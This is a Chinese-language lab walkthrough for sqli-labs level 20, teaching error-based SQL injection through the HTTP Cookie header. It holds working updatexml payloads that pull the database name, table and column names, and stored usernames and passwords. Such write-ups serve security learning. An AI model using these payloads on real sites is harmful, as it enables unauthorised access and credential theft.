sqli-labs关卡20(基于http头部报错盲注)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

通过上一关的referer字段的注入,我们更加熟悉了http头部注入。这一关也是http头部注入,只是换地方了

二、靶场第二十关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

发现第二十关的界面啥都没有了,按照之前通关的思路。我们先把测试账号admin登录进去,发现有记录cookie的信息回显到页面。(如图所示)

从上两关总结的经验得到,这一次应该就是http头部的cookie注入了。我们重新登录admin抓包,果然发现请求包有cookie值。这里我们使用and 1=1 和 and 1=2,发现页面正常,说明不是数字型。我们直接提交1'发现报错,报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right

syntax to use near ''admin'' LIMIT 0,1' at line 1

通过报错信息我们可以构造payload,发现就是简单的单引号闭合

php 复制代码
uname=admin'#

2、爆数据库名

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select database()),0x3a),1)#

3、爆数据库表

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#


得到关键数据库表名users

4、爆数据库列

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#

得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#

得到账号密码


总结

这一关和前几关都差不多,只是注入点不一样罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
若汝棋茗14 分钟前
TouchSocket TcpService:构建高性能Tcp服务的终极利器
网络·网络协议·tcp/ip·touchsocket
Lightning_201723 分钟前
软考中级-数据库-5.3-Internet基础知识
linux·网络·数据库·职场和发展
suzhou_speeder26 分钟前
以太联—Intellinet 562133 6端口PoE++交换机:为多场景网络升级赋能
运维·网络·交换机·poe·poe交换机
Akamai中国33 分钟前
应用商店上新:Couchbase Enterprise Server集群
运维·服务器·sql·云原生·云计算·云服务
Albert Edison1 小时前
为什么TCP需要三次握手?一次不行吗?
网络·网络协议·tcp/ip·三次握手
qq_395416261 小时前
网络安全应急入门到实战
安全·web安全
Hacker_Nightrain1 小时前
网络安全漏洞与修复 网络安全软件漏洞
网络·安全·web安全
网络安全-老纪2 小时前
网络安全 逆向 apk 网络安全逆向分析
网络·安全·web安全
SRC_BLUE_173 小时前
[横向移动] 远控优化 — 通过 “RustDESK” 获取远程桌面
网络·网络安全
故事与他6453 小时前
Vulnhub靶场matrix-breakout-2-morpheus攻略
ide·安全·web安全·网络安全·android studio